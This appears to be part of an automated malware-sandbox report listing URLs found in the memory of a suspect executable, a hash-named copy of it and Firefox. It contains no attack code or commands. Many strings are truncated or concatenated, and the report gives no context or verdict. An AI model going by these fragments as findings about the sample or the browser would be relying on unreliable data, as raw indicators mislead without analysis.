Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnithttp://mozilla.org/#/proper
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/startDate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2569339923.000002B9B4B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2587921899.000002B9B6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2563449908.000002B9B492C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%shandlerSvc
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttps://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHa
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2546772393.000000000066E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2471991799.000000000062E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.c
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_IDLE_NO_PROGRESS_TIMEOUT_SECSPREF_APP_UPDATE_SERVICE_MAXE
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000019.00000002.2568534230.000002B9B4A0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2595976581.000002B9B70B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2571069879.000002B9B4D4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B579F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B103C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2595976581.000002B9B70B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul_setupEventListeners/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/firefox-view-tabs-s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Sessio
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/LightweightTheme
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulurlclassifier.features.cryptomining.ann
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2354383333.000002B9B4B1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/_startedLoadSinceLastUserTyping
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000019.00000002.2591081287.000002B9B6F92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5FA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2595976581.000002B9B7003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2589627659.000002B9B6E41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000019.00000002.2582949782.000002B9B5E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180chrome://browser/locale/safebrowsing/safebrowsin
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
